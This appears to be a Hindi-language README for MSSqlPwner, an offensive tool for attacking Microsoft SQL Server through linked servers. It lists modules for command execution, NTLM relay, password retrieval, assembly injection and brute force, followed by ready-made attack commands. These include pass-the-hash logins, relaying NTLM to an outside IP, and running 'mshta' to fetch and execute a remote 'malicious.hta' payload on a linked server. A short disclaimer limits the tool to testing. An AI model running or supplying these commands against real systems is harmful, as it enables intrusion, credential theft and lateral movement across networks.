
Advanced MSSQL penetration testing tool for lateral movement, command execution, NTLM relay, and brute-force attacks via linked servers and multiple authentication methods.
MSSqlPwner एक उन्नत और बहुमुखी पेनटेस्टिंग उपकरण है जिसे MSSQL सर्वरों के साथ सहजता से इंटरैक्ट करने और उन्हें हैक करने के लिए डिज़ाइन किया गया है। यह उपकरण इम्पैकेट पर आधारित है, जो हमलावरों को स्पष्ट-पाठ पासवर्ड, NTLM हैश और केर्बेरोस टिकटों का उपयोग करके डेटाबेस में प्रमाणीकरण करने की अनुमति देता है। MSSqlPwner के साथ, उपयोगकर्ता विभिन्न विधियों के माध्यम से कस्टम कमांड निष्पादित कर सकते हैं, जिनमें कस्टम असेंबली, xp_cmdshell, sp_oacreate (Ole Automation Procedures) और बहुत कुछ शामिल है।
यह उपकरण लिंक किए गए सर्वरों और संभावित प्रतिरूपणों पर पुनरावर्ती एनुमरेशन के साथ शुरू होता है ताकि कमांड निष्पादन के लिए सभी संभावित श्रृंखलाओं (चेन) को एकत्र किया जा सके।
इसके अलावा, MSSqlPwner उपकरण का उपयोग NTLM रिले क्षमताओं के लिए किया जा सकता है, जिसमें xp_dirtree, xp_subdirs, xp_fileexist जैसे फ़ंक्शन का उपयोग किया जाता है।
इस उपकरण का उपयोग पार्श्व आंदोलन आकलन (lateral movement assessments) और लिंक किए गए सर्वरों की खोज के लिए किया जा सकता है।
यदि प्रमाणित MSSQL उपयोगकर्ता के पास कुछ ऑपरेशन करने की अनुमति नहीं है, तो उपकरण सही श्रृंखला ढूंढ सकता है जो कमांड निष्पादन की अनुमति देगी। उदाहरण के लिए, यदि आपका उपयोगकर्ता वर्तमान संदर्भ में कमांड निष्पादित नहीं कर सकता है, तो उपकरण एक श्रृंखला बनाएगा जो एक लिंक सर्वर का उपयोग करेगी और बढ़े हुए विशेषाधिकारों के साथ हमारे सर्वर पर वापस कनेक्ट होगी।
mssqlpwner के साथ शुरुआत करना बहुत आसान है। आप इसे सीधे रिपॉजिटरी से खींचकर कर सकते हैं:
pip install 'mssqlpwner@git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
या, pipx का उपयोग करके - और आपको ऐसा करना चाहिए -, यह प्रयास करें:
pipx install 'git+https://github.com/ScorpionesLabs/MSSqlPwner.git'
और अब आप अपने नए पसंदीदा उपकरण का उपयोग कर सकते हैं:
mssqlpwner -hashes ':0CB6948805F797BF2A82807973B89537' 'Administrator'@172.16.2.12 -windows-auth interactive
यह उपकरण कई प्रमाणीकरण विधियों द्वारा समर्थित है, जिनका वर्णन नीचे किया गया है।
यह उपकरण केवल परीक्षण उद्देश्यों के लिए सुरक्षा पेशेवरों और शोधकर्ताओं के लिए डिज़ाइन किया गया है, और इसका उपयोग अवैध उद्देश्यों के लिए नहीं किया जाना चाहिए।
interactive: लाइव निष्पादन के साथ उपकरण का इंटरैक्टिव रूप से उपयोग करने की अनुमति देता है।enumerate: लिंक किए गए सर्वरों और श्रृंखलाओं की गणना करता है।get-chain-list: श्रृंखलाओं की सूची प्राप्त करता है:
-filter-hostname HOSTNAME - विशिष्ट होस्टनाम के साथ फ़िल्टर किए गए परिणाम प्राप्त करता है।get-link-server-list: लिंक किए गए सर्वरों की सूची प्राप्त करता है।set-chain: श्रृंखला आईडी सेट करता है (केवल इंटरैक्टिव मोड के लिए!)
CHAIN - सेट करने के लिए श्रृंखला आईडी।set-link-server: लिंक सर्वर सेट करता है (केवल इंटरैक्टिव मोड के लिए!)
LINK - सेट करने के लिए लिंक सर्वर।get-rev2self-queries: SELF पर वापस जाने के लिए क्वेरी प्राप्त करता है (केवल इंटरैक्टिव मोड के लिए!)।get-adsi-provider-list: ADSI प्रदाता सूची प्राप्त करता है।exec: स्थानीय सर्वर या लिंक किए गए सर्वरों पर exec का उपयोग करके कमांड निष्पादित करता है
COMMAND - निष्पादित करने के लिए कमांड।-command_execution_method - उपयोग करने के लिए कमांड निष्पादन विधि।
xp_cmdshell - xp_cmdshell प्रक्रिया का उपयोग करके कमांड निष्पादित करता है (डिफ़ॉल्ट)।sp_oacreate - Ole Automation Procedure प्रक्रिया का उपयोग करके कमांड निष्पादित करता है ("cmd /c something" जैसा उपयोग किया जाना चाहिए)।retrieve-password: ADSI प्रदाताओं से पासवर्ड पुनर्प्राप्त करता है।
-listen-port - सुनने के लिए पोर्ट (डिफ़ॉल्ट: 1389)।-adsi-provider - उपयोग करने के लिए ADSI प्रदाता (यदि परिभाषित नहीं है, तो स्वचालित रूप से चुनेगा)।-arch - उपयोग करने के लिए आर्किटेक्चर (यदि परिभाषित नहीं है, तो स्वचालित रूप से चुनेगा)।
x86 - x86 आर्किटेक्चर का उपयोग करें।x64 - x64 आर्किटेक्चर का उपयोग करें।ntlm-relay: एक सर्वर पर NTLM रिले को बलपूर्वक करने के लिए।
SMB_SERVER - रिले करने के लिए SMB सर्वर।-relay-method - उपयोग करने के लिए रिले विधि।
xp_dirtree - xp_dirtree प्रक्रिया का उपयोग करें (डिफ़ॉल्ट)।xp_subdirs - xp_subdirs प्रक्रिया का उपयोग करें।xp_fileexist - xp_fileexist प्रक्रिया का उपयोग करें (कुछ स्थितियों में इस मॉड्यूल को विशेषाधिकार प्राप्त श्रृंखला से निष्पादित किया जाना चाहिए)।custom-asm: कस्टम असेंबली का उपयोग करके प्रक्रियाएं निष्पादित करें
COMMAND - उपयोग करने के लिए कमांड/पथ या क्वेरी।-procedure-name - उपयोग करने के लिए प्रक्रिया का नाम (डिफ़ॉल्ट: execute_command)।
execute_command - कस्टम असेंबली का उपयोग करके कमांड निष्पादित करता है (डिफ़ॉल्ट)।run_query - कस्टम असेंबली का उपयोग करके क्वेरी निष्पादित करता है।run_query_system_service - सिस्टम उपयोगकर्ता के रूप में कस्टम असेंबली का उपयोग करके क्वेरी निष्पादित करता है (SqlSVC की तरह)।inject-custom-asm: कस्टम असेंबली का उपयोग करके कोड इंजेक्ट करें।
file_location - इंजेक्ट करने के लिए फ़ाइल स्थान।-procedure-name - उपयोग करने के लिए प्रक्रिया का नाम (डिफ़ॉल्ट: Inject)।direct-query: प्रत्यक्ष क्वेरी निष्पादित करेंQUERY - निष्पादित करने के लिए क्वेरी।-query-method - उपयोग करने के लिए क्वेरी विधि।
OpenQuery - OpenQuery प्रक्रिया का उपयोग करें (डिफ़ॉल्ट)।exec_at - exec AT प्रक्रिया का उपयोग करें।brute: ब्रूटफोर्स लॉन्च करें (टिकट, हैश और पासवर्ड प्राप्त कर सकता है)TARGETS_FILE - एक फ़ाइल जिसमें ब्रूट करने के लिए होस्ट और आईपी हैं।-ul - एक फ़ाइल जिसमें ब्रूट करने के लिए उपयोगकर्ता हैं।-pl - एक फ़ाइल जिसमें ब्रूट करने के लिए पासवर्ड हैं।-tl - एक फ़ाइल जिसमें ब्रूट करने के लिए टिकट हैं।-hl - एक फ़ाइल जिसमें ब्रूट करने के लिए हैश हैं।-link-name - उपयोग करने के लिए लिंक सर्वर का नाम-chain-id - उपयोग करने के लिए श्रृंखला आईडी-max-link-depth - उपयोग करने के लिए अधिकतम लिंक गहराई (डिफ़ॉल्ट: 10)-max-impersonation-depth - उपयोग करने के लिए अधिकतम प्रतिरूपण गहराई (डिफ़ॉल्ट: 10)-auto-yes - सभी प्रश्नों का स्वचालित रूप से हाँ में उत्तर दें (डिफ़ॉल्ट: False)-timeout - उपयोग करने के लिए टाइमआउट (डिफ़ॉल्ट: 30)MSSqlPwner पार्श्व आंदोलन आकलन और लिंक किए गए सर्वरों की खोज के अवसर प्रदान करता है। ऐसे परिदृश्यों में जहां वर्तमान सत्र में प्रशासनिक विशेषाधिकारों की कमी है, उपकरण एक श्रृंखला खोजने का प्रयास करता है जो लिंक किए गए सर्वरों के माध्यम से अपने स्वयं के विशेषाधिकारों को बढ़ाता है। यदि किसी लिंक किए गए सर्वर पर सत्र में उच्च विशेषाधिकार हैं, तो उपकरण लिंक किए गए सर्वर के साथ बातचीत कर सकता है और बढ़े हुए विशेषाधिकारों के साथ वापस होस्ट पर एक लिंक क्वेरी कर सकता है, जिससे लक्ष्य सर्वर के साथ पार्श्व आंदोलन संभव हो पाता है।
कई प्रमाणीकरण विधियों द्वारा समर्थित, जिनमें शामिल हैं:
उपकरण विभिन्न परिदृश्यों और वातावरणों के अनुकूल होता है, प्रमाणीकरण तंत्रों की प्रभावशीलता को सत्यापित करता है।
अपने MSSQL वातावरण आकलन को MSSqlPwner की शक्ति और बहुमुखी प्रतिभा के साथ अगले स्तर पर ले जाएँ। इस MSSqlPwner उपकरण के साथ पार्श्व आंदोलन, गुप्त क्वेरी और सटीक सुरक्षा मूल्यांकन के लिए नई संभावनाओं की खोज करें।
# इंटरैक्टिव मोड
mssqlpwner corp.com/user:[email protected] -windows-auth interactive
# 2 स्तर की प्रतिरूपण गहराई के साथ इंटरैक्टिव मोड
mssqlpwner corp.com/user:[email protected] -windows-auth -max-impersonation-depth 2 interactive
# विंडोज प्रमाणीकरण के साथ वर्तमान सर्वर पर कस्टम असेंबली निष्पादित करना और होस्टनाम कमांड निष्पादित करना
mssqlpwner corp.com/user:[email protected] -windows-auth custom-asm hostname
# विंडोज प्रमाणीकरण के साथ वर्तमान सर्वर पर कस्टम असेंबली निष्पादित करना और SRV01 लिंक किए गए सर्वर पर होस्टनाम कमांड निष्पादित करना
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 custom-asm hostname
# लिंक किए गए SRV01 सर्वर पर संग्रहीत प्रक्रियाओं का उपयोग करके होस्टनाम कमांड निष्पादित करना
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec hostname
# sp_oacreate विधि के साथ लिंक किए गए SRV01 सर्वर पर संग्रहीत प्रक्रियाओं का उपयोग करके होस्टनाम कमांड निष्पादित करना
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
# SRV01 सर्वर पर NTLM रिले हमला जारी करना
mssqlpwner corp.com/user:[email protected] -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# श्रृंखला आईडी 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 पर NTLM रिले हमला जारी करना
mssqlpwner corp.com/user:[email protected] -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# कस्टम कमांड के साथ स्थानीय सर्वर पर NTLM रिले हमला जारी करना
mssqlpwner corp.com/user:[email protected] -windows-auth ntlm-relay 192.168.45.250
# प्रत्यक्ष क्वेरी निष्पादित करना
mssqlpwner corp.com/user:[email protected] -windows-auth direct-query "SELECT CURRENT_USER"
# लिंक किए गए सर्वर DC01 से पासवर्ड पुनर्प्राप्त करना
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 retrive-password
# लिंक किए गए सर्वर DC01 पर कस्टम असेंबली का उपयोग करके कोड निष्पादित करना
mssqlpwner corp.com/user:[email protected] -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
# टिकट, हैश और पासवर्ड का उपयोग करके hosts.txt में सूचीबद्ध होस्टों के विरुद्ध ब्रूटफोर्स
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# हैश और पासवर्ड का उपयोग करके hosts.txt में सूचीबद्ध होस्टों के विरुद्ध ब्रूटफोर्स
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# टिकट का उपयोग करके hosts.txt में सूचीबद्ध होस्टों के विरुद्ध ब्रूटफोर्स
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# पासवर्ड का उपयोग करके hosts.txt में सूचीबद्ध होस्टों के विरुद्ध ब्रूटफोर्स
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# हैश का उपयोग करके hosts.txt में सूचीबद्ध होस्टों के विरुद्ध ब्रूटफोर्स
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
rev2self: SELF पर वापस जाता है (केवल इंटरैक्टिव मोड के लिए!)।